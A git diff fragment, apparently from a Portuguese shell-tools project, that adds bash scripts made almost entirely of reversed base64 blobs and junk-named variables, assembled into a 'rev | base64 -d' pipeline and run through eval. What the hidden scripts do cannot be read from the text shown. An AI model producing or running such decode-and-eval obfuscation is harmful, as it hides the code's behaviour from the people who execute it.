yZvAyLn8yciAictACZlNHI8ByJ9BTMkACdulmcwt3JgICIiYULgs2dhxHIul2ZvxGJg8GajVGY9IXZzVHIgACIgACIKQWawRSPElEUgACIgACIgoAYiMXZztWdz5Wan9GbkICIwVmcnxHIiQmblRWawRiIgAXZydGfgc2bsRCIklGckACclJ3Zg1jbpd2bsBCIgACIgAiCuVGa0tTXgQmblRWawRCIbBiZpBCIgAiCl52bkBCIgAiCxsSa9kGI0VGbgACIgACIK8GZgszcn9GbklGckAibpBCZuVGZpBHIy9mZgACIgoAM9kGIgACIKA2J9NDJgQnbpJHc7dCIiAiIG1CIrdXY8BiIzV2crV3cul2ZvxGJiACclJ3Z8ByZvxGJgQWawRCIwVmcnBWPzd2bsRWawBCIgAiCvRGI7MHZpBHJg4WagQWawBicvZGIgoAYn0XMkACdulmcwt3JgICIiAiRtAya3FGfiIXYlJGcvJHZfRncvBHJgICIwVmcnx3JyFWZiB3byR2JgAXZydGf4FGIzBHY9MHZpBHIgowJkVGZlV2YjV3cggGd1FGIkJ3b3N3chB1J9MXZztWdz5Wan9GbgAiCn9GbugGd1F2Ln9GbvIXY29SPn9GbgAiCgdSf7cTMkACdulmcwt3Jgs2dhxXM90jUOBya3FGfnIXYlJGcvJHZnACclJ3Z8hXdhBycwBWPyFWZiB3byR2X0J3bwBCIKsHIpgCIzRWaw9lchVmYw9mckpwZz1GIlNmc192cKg2chJ2LulmYvEyI | r";cXANDaNHhRuKEdYKgJUxUPWojHNnZThBRarwvxUiQwHNXczQrJmCfqIWSoKNCVDzDiAmdvLNfYNHxLTDYhHVeVoQaGMaJbGyRAJT="aiXmtblUvbwdmZelvgMaFUpkGiewPmaLeWfZJbcuhWNPuJtxEkpwUIQqBXGzYhkaTFSDqOmekQJLnIgNNmsbxQaibgqtekcJKGqT";wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN="";IahODSzyKyjsfMNQnYdZoOjRtdEAizFzfOhAEQoepcphtAfdHjEmLsrwJGXGcUJeGNgspRneJCLelONeTKwMTxcJXkyMOhDCxxva="as";DGubbGgeEFxHAPSSXoEGIwDakYoTPCISlMadSpXcdmdXtBUptVaVmgvcnHTFeivCjKZhVbjrlKWqBdRMIjpHBdoQHMLnlofxpEQj="VeLsXgxyGPDbYqTywQqYEiWZXjNBfFRTaZRpckuWAhZKRMEsRtAgBLpEEVihJWTbyRsVCppZFvZyFgAItsjaZtCOMqQxVDTlfHJA";landWKMPXqajfpnxlpICeZVuEWKMrjxRMRwegEaCcXvDRYKywtdSksznmTDYKWCAwSiBFFJMqsHbDiBNAGyHRXxDzvuyVtMEVhne="DbFZAItubNOxNPxFjgFUtGceHIAckKeNcrdqsyGCHVKRjJOYAnwSqYpprFoYIsbrPiIUTKQSbTGToGtczYeTiUUhFXSctTCfdvMN";CjBsKXxKbMQBuolIvZSxyYpPZmaPCdLSzuMGjkYqFzIubfeqYftPZqnsDGnwaUMSPhvNVDheJLsXHngqGgykTFbNGhkYwFqfuRim="o";mecCcMUeucyfRvSbqeymIHfkLCmLZIbokoDiDKrBdnuiXbukvMdGBOaKJpqvoKWIoErleSayvQVLNHeKRYEtVwZQBgdpQWpnGASs="6";CgHZkCbAerdetftALkfbivOWCWQPFLOjaVBREjckFtZHgmrDaqwKrGrMRcKLqBkJGsizAkdUcKDxJdWzCdJGvCEgninXSFytjStx="SYvSynXpCCOuLPvzFGyaZOqaBxbOLMNIKmfKrqQwbPbVCtpJqwTCIiyWgMCEScxooqQdllBsuGszAsCPYKaUuvSrDVFEEHCWDymS";pwGdIBgttrLkhgLaeNuCsoClzzqARWoYsmDlSEbfcJQVLiYaXYmaYgoLeiGWvLWKslvkjxbcIfQXHGuzZjCgipQmTPijXHmfDiVr=" -d";IRBgzfesjoJBAWGEAGBbfvsfGYEfdQjekDIivySGLHYgYdJIdKGdFadSgUGOKgugCfmCOsWEVEqqDZEEQxmMNfyoKGnIPTgaEVSR="FanYxsSdORuQfBcKbBWunRkKNyNQkwATViPbOxRFpnAsEMAaRrWgKegYnqryPuvnvhqbhecGdLcTcflvwkqTZFyuCiphJXeFocYP";faHHYoilwecxvJqXNVwjiUiXUDMqTknjiqpTajQakQgBZokESQofUOBqjYpJMIDHlkgwZAcuyuurhVBYGPlNVgAvMuPCiMzkJkov="";JpTrJJbtbBSzUscsQxurhWAKcclDvPQoiwrUJKJexcFLrPLrfnUGOQtcIqHsjrCEQMVjGWLEUIWCPTxcEiUSHZoXDMYQKlzDnhvH="b";ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN="e";ofuKEQthoVvNqwPvnLeUUDefihdhchuHZkwDtCDcNFQDjFDmbMzDzeSDXlBsriSElEtEIcoNNCZNzTPbAnAZVLIBpKsoCksjzrma="v |";Tx=Eds;FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz="";nUvwuWguiooRGUiMgwzzpDPkiDLBgPSvhLEjqWQdjmpIpyOzIFkgAUsKGnklNOpWQlmaUWhoftPOrTSbXyYeWFFZBRKuDuobKINR=$(eval "$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$sAgrpjVFCmqlsIxIaJRzWwRKssmWHGOoslIkhUXhpQbWvMeLVNEqTcaDbLmKuxGbVKrrzNYroLPOAIhfdeZTjHmQoHBvzDnQDbOJ$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI$CjBsKXxKbMQBuolIvZSxyYpPZmaPCdLSzuMGjkYqFzIubfeqYftPZqnsDGnwaUMSPhvNVDheJLsXHngqGgykTFbNGhkYwFqfuRim$jOzAMykRjgRMtsDJxulDBLOMXksBQvUbrLGIHRjCfyqmCvpoxceCPSogSoLYoQcleEFQHuUoRObFyzkuECtdCcPLWkZCreGPkaxo$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$ofuKEQthoVvNqwPvnLeUUDefihdhchuHZkwDtCDcNFQDjFDmbMzDzeSDXlBsriSElEtEIcoNNCZNzTPbAnAZVLIBpKsoCksjzrma$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$JpTrJJbtbBSzUscsQxurhWAKcclDvPQoiwrUJKJexcFLrPLrfnUGOQtcIqHsjrCEQMVjGWLEUIWCPTxcEiUSHZoXDMYQKlzDnhvH$FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz$IahODSzyKyjsfMNQnYdZoOjRtdEAizFzfOhAEQoepcphtAfdHjEmLsrwJGXGcUJeGNgspRneJCLelONeTKwMTxcJXkyMOhDCxxva$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$mecCcMUeucyfRvSbqeymIHfkLCmLZIbokoDiDKrBdnuiXbukvMdGBOaKJpqvoKWIoErleSayvQVLNHeKRYEtVwZQBgdpQWpnGASs$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI$xStDqIwOalOuMZRQUTPniSpgEaEXOavFsNmYuVQAgQYhKUgjLhlkSMaIlUMmBszqpspohXyhEedTHDfZFrlieIbdcqSFkKhwUrws$pwGdIBgttrLkhgLaeNuCsoClzzqARWoYsmDlSEbfcJQVLiYaXYmaYgoLeiGWvLWKslvkjxbcIfQXHGuzZjCgipQmTPijXHmfDiVr$FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz");eval "$faHHYoilwecxvJqXNVwjiUiXUDMqTknjiqpTajQakQgBZokESQofUOBqjYpJMIDHlkgwZAcuyuurhVBYGPlNVgAvMuPCiMzkJkov$nUvwuWguiooRGUiMgwzzpDPkiDLBgPSvhLEjqWQdjmpIpyOzIFkgAUsKGnklNOpWQlmaUWhoftPOrTSbXyYeWFFZBRKuDuobKINR$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI" \ No newline at end of file diff --git a/Lista/ferramentas b/Lista/ferramentas new file mode 100755 index 0000000..ff8bf61 --- /dev/null +++ b/Lista/ferramentas @@ -0,0 +1,2 @@ +#!/bin/bash +hiUKBgaaHAOqDuvToFAbveXwgXjwLFvZgrLYJCvBfCDcodqSMBRxCbDiGrjrfXjDtaxRZJTFIqwWDdfdVTyHmCzjdwoxJEJvsFLE="zMZRzSdwkKqpTiafNKdgmkvIDGEyGUXnRojSVLAveSVVeclDCbejxGGhfNXKvIsKlZuzpPCapqYOfzeYJCWmLrwtBqKgoNmuRDdf";NUVwCFMLorlKmmYeJQsJBFjHhxjiTgfIuxvtKfRpWJRbBcQoyWAOVDrZbMdoaaPlvPTGclLsZvXnxdJcfqfpqYwBJKXRBTfaJlRE="RGUOaRzrapDkbPfSRFUzSVLhwtcxVOdarJXxCkmqRAnnSuXASFgrRbkrNQFdpNHZlditJxUASpOnUsKAyLOjPUkOFWYOuXHWAHIO";vAQIVljWndsvhMhNyxVLdBtbmylNztxbQeMzrRkofgHjgvmtWYacNElOrnuAUZLECvENYnDbNFlIxsHJVhEeZLEfpjSRUjTPLShr="ch";MazeaEKrpPngTNAQnOMVJxJHPVuinlraiGazogbvgjQbYRRZoLnQtFtqCjazaGtvZWBwoPQLACOdfrHxVHJxIlSuMSbOgegiALev="4";RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV="";WuCFJQgfgkriwOZwcqhSOgsTfgCbpfzrFVfOTQsaiYmQUnDGkYiPbXWdhgNqprOzhqUMjfoIBURiWKOUSafVXaypAJWaCiDryYce="SxPkYlNFbuTeIdmcMWfiKbgTUhECfYZhdPPMdBdkIiYiaHkJFsYPPGDiHiPJsIxNBOWEGNEVFQDZNdnkTcIZRyItjBpYnigYfWAA";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